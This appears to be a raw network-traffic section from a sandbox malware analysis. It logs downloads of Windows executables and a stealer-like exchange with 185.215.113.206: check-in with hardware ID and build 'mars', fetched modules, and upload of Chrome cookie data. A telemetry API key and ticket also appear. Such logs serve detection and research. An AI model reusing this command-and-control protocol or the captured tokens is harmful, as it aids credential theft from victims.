2f 00 00 d0 19 00 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 72 62 70 61 75 79 64 00 10 00 00 00 c0 49 00 00 06 00 00 00 5c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 49 00 00 22 00 00 00 62 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 16 Nov 2024 18:23:15 GMTContent-Type: application/octet-streamContent-Length: 1786368Last-Modified: Sat, 16 Nov 2024 17:58:42 GMTConnection: keep-aliveETag: "6738dd52-1b4200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 90 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 68 00 00 04 00 00 08 f4 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2a 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 69 73 78 74 62 75 78 00 b0 19 00 00 d0 4e 00 00 a4 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 75 64 74 6b 76 65 63 00 10 00 00 00 80 68 00 00 04 00 00 00 1c 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 68 00 00 22 00 00 00 20 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 16 Nov 2024 18:23:24 GMTContent-Type: application/octet-streamContent-Length: 2818048Last-Modified: Sat, 16 Nov 2024 17:57:19 GMTConnection: keep-aliveETag: "6738dcff-2b0000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 9c 76 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 71 66 73 79 61 67 73 64 00 a0 2a 00 00 a0 00 00 00 9e 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 67 70 64 6f 67 6b 6b 00 20 00 00 00 40 2b 00 00 06 00 00 00 d8 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 de 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 16 Nov 2024 18:23:34 GMTContent-Type: application/octet-streamContent-Length: 2818048Last-Modified: Sat, 16 Nov 2024 17:57:21 GMTConnection: keep-aliveETag: "6738dd01-2b0000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 9c 76 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 71 66 73 79 61 67 73 64 00 a0 2a 00 00 a0 00 00 00 9e 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 67 70 64 6f 67 6b 6b 00 20 00 00 00 40 2b 00 00 06 00 00 00 d8 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 de 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 16 Nov 2024 18:23:43 GMTContent-Type: application/octet-streamContent-Length: 2818048Last-Modified: Sat, 16 Nov 2024 17:57:21 GMTConnection: keep-aliveETag: "6738dd01-2b0000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 9c 76 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 71 66 73 79 61 67 73 64 00 a0 2a 00 00 a0 00 00 00 9e 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 67 70 64 6f 67 6b 6b 00 20 00 00 00 40 2b 00 00 06 00 00 00 d8 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 de 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAENhIsZk1icdmK4NNtUk6KLPgAMvy17Udgd1MlHE7GXRAxu9wDd84HaOk1nGIMKru6radFnZDfu7zWhcmz9j72MdI/lM5JykN5JyMCsrKKjhnWsxMrSmUTHFAm4lCtsR/4kXJ5OVGBubVm1qKlLaqfTPe4/QIS6EsPZhp2A+GbXPmd9v7KWe0y9ZBVkGnVgT2XAL69MHD65Z2sZ/bvdyK2Z9GRgl5dhajOwb9unLzQz2LihgZzhVMiIEIlP0Ox0qtNEB072yB6rGFSpbQMfXp3Qm9wrLMHPG0cNIMKQ3+lgA3sY/VTGnPGJVnsHSsfW8D9dyBIAE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1731781609761Host: self.events.data.microsoft.comContent-Length: 7971Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEBFHJKJEBFCBFHDAEGHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 44 37 39 33 35 37 33 30 46 41 30 32 37 34 30 37 32 35 36 30 38 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 2d 2d 0d 0a Data Ascii: ------DAEBFHJKJEBFCBFHDAEGContent-Disposition: form-data; name="hwid"FD7935730FA02740725608------DAEBFHJKJEBFCBFHDAEGContent-Disposition: form-data; name="build"mars------DAEBFHJKJEBFCBFHDAEG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJDGDBFCBKFHJKFHCBKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 33 39 66 31 66 39 33 32 65 63 61 32 37 34 33 64 34 33 38 62 62 63 35 34 62 33 64 37 39 30 63 32 63 65 61 34 39 39 32 66 38 33 30 30 63 36 31 33 34 31 65 65 31 38 34 39 39 38 35 37 36 33 39 62 62 30 63 32 38 66 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 2d 2d 0d 0a Data Ascii: ------GHJDGDBFCBKFHJKFHCBKContent-Disposition: form-data; name="token"9839f1f932eca2743d438bbc54b3d790c2cea4992f8300c61341ee18499857639bb0c28f------GHJDGDBFCBKFHJKFHCBKContent-Disposition: form-data; name="message"browsers------GHJDGDBFCBKFHJKFHCBK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAFHIIJJECGDHIEGDAKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 33 39 66 31 66 39 33 32 65 63 61 32 37 34 33 64 34 33 38 62 62 63 35 34 62 33 64 37 39 30 63 32 63 65 61 34 39 39 32 66 38 33 30 30 63 36 31 33 34 31 65 65 31 38 34 39 39 38 35 37 36 33 39 62 62 30 63 32 38 66 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="token"9839f1f932eca2743d438bbc54b3d790c2cea4992f8300c61341ee18499857639bb0c28f------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="message"plugins------ECAFHIIJJECGDHIEGDAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHIDHCAAKECGCBFIJDBHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 44 48 43 41 41 4b 45 43 47 43 42 46 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 33 39 66 31 66 39 33 32 65 63 61 32 37 34 33 64 34 33 38 62 62 63 35 34 62 33 64 37 39 30 63 32 63 65 61 34 39 39 32 66 38 33 30 30 63 36 31 33 34 31 65 65 31 38 34 39 39 38 35 37 36 33 39 62 62 30 63 32 38 66 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 48 43 41 41 4b 45 43 47 43 42 46 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 48 43 41 41 4b 45 43 47 43 42 46 49 4a 44 42 2d 2d 0d 0a Data Ascii: ------DGHIDHCAAKECGCBFIJDBContent-Disposition: form-data; name="token"9839f1f932eca2743d438bbc54b3d790c2cea4992f8300c61341ee18499857639bb0c28f------DGHIDHCAAKECGCBFIJDBContent-Disposition: form-data; name="message"fplugins------DGHIDHCAAKECGCBFIJDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCAECAKKFBGCBGDGIEHCHost: 185.215.113.206Content-Length: 6571Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGIJDAFCFHIEHJJKEHJKHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 33 39 66 31 66 39 33 32 65 63 61 32 37 34 33 64 34 33 38 62 62 63 35 34 62 33 64 37 39 30 63 32 63 65 61 34 39 39 32 66 38 33 30 30 63 36 31 33 34 31 65 65 31 38 34 39 39 38 35 37 36 33 39 62 62 30 63 32 38 66 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------DGIJDAFCFHIEHJJKEHJKContent-Disposition: form-data; name="token"9839f1f932eca2743d438bbc54b3d790c2cea4992f8300c61341ee18499857639bb0c28f------DGIJDAFCFHIEHJJKEHJKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DGIJDAFCFHIEHJJKEHJKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------DGIJDAFCFHIEHJJKEHJK--
